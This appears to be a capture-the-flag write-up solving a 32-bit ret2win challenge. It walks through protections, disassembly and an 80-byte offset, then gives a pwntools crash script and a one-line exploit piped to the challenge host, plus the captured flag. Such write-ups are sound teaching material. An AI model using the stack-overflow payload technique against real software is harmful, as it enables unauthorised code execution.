The Forgotten Return textbook ret2win, no canary no PIE

pwn
flag RxR{c90f3318-c91d-463d-8daf-d393e27493ec}

A 32-bit ELF that reads 200 bytes into a stack buffer and ships a win() function sitting right next to the vulnerable one. Overflow the buffer, point the saved return at win, done.

Reading the binary

session
$file the-forgotten-return
the-forgotten-return: ELF 32-bit LSB executable, Intel i386 ... with debug_info, not stripped

Not stripped, with debug info, so the function table is just handed over:

output
080491c6 T win
0804921d T vulnerable
0804927f T main
output
RELRO: Partial RELRO
Stack: No canary found
NX:    NX enabled
PIE:   No PIE (0x8048000)

Insight

No canary, no PIE, and a read() in the program - that's basically the answer before the disassembly even starts.

The vulnerable function and the win condition

vulnerable() asm
108049233  sub  esp, 0x4
208049236  push 0xc8             ; 200
30804923b  lea  eax, [ebp-0x4c]  ; buffer
40804923e  push eax
50804923f  push 0
608049241  call read

200 bytes into a buffer 76 (0x4c) bytes below the frame pointer. Saved EBP sits 4 bytes above the buffer's end, and the return address 4 bytes above that - so the distance from the top of the buffer to the return address is 0x4c + 4 = 80 bytes.

win() asm
1080491c6  push ebp
2080491cf  push "FLAG"
3080491d4  call getenv
4080491ef  cmp  [ebp-0xc], 0
5080491f3  je   ...+0x44          ; getenv returned NULL
6080491f8  push [ebp-0xc]
7080491fb  push "[+] Flag: %s"
808049200  call printf

getenv("FLAG") then printf("%s") - no leak to build, no check to clear. Running the exploit locally with FLAG unset confirms it: win() still gets reached and prints [-] FLAG environment variable is not set. So the live service's output is the instance's own environment variable, not a string baked into the file - that's the value to submit, not anything you could've pulled out of the binary by itself.

Finding the offset

A cyclic pattern through the same read and a quick crash settles the arithmetic:

python
1from pwn import *
2p = process(['./the-forgotten-return'])
3p.recvuntil(b'Enter your message: ')
4p.send(cyclic(200))
5p.wait()
6print(hex(p.corefile.pc), cyclic_find(p.corefile.pc))   # 0x61616175 80

0x61616175 is u a a a, the cyclic chunk starting at index 80 - matching the frame math exactly.

The shot

solve.py python
1#!/usr/bin/env python3
2"""The Forgotten Return: ret2win, offset 80, win @ 0x080491c6."""
3import sys
4sys.stdout.buffer.write(b'A' * 80 + (0x080491c6).to_bytes(4, 'little'))
session
$python3 solve.py | nc 80.241.212.197 10847
================================
       THE FORGOTTEN RETURN
================================
Enter your message: Message received.
 
[+] You found the forgotten return!
[+] Flag: RxR{c90f3318-c91d-463d-8daf-d393e27493ec}

Pitfall

The instance banner shows Verified flag: RxR{R4lly_i_g0t_219_kdn4h} - the challenge id baked right in gives it away as bait. And _start computes main with lea eax,[ebx-0x2f17] through a __wrap_main stub that just jmps to it, which looked for a minute like a hidden entry point. It isn't - it's just the -Wl,--wrap=main the binary was linked with, confirmed by the debug symbol names.

Flag

output
RxR{c90f3318-c91d-463d-8daf-d393e27493ec}